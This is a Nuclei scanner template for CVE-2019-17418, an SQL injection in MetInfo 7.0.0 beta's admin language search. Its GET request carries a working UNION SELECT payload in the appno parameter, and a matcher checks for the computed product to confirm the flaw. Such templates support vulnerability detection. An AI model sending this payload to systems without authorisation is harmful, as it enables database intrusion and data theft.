id: CVE-2019-17418

info:
  name: MetInfo 7.0.0 beta - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    MetInfo 7.0.0 beta is susceptible to SQL injection via the admin/?n=language&c=language_general&a=doSearchParameter appno parameter (a different issue than CVE-2019-16997).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of MetInfo or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/evi1code/Just-for-fun/issues/2
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17418
    - https://github.com/0ps/pocassistdb
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2019-17418
    cwe-id: CWE-89
    epss-score: 0.9351
    epss-percentile: 0.99831
    cpe: cpe:2.3:a:metinfo:metinfo:7.0.0:beta:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: metinfo
    product: metinfo
  tags: cve,cve2019,metinfo,sqli,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+98989*443131,1--+&site=admin"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "43865094559"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210099c2ff92da6e4e8aa560426b552e90669007fa54e0e139424dcec0dd29dd1f35022100b5fd88bf87baadb360a9c1a571c641a066f173a6c57024131d0dbdcdce3442be:922c64590222798bb761d5b6d8e72950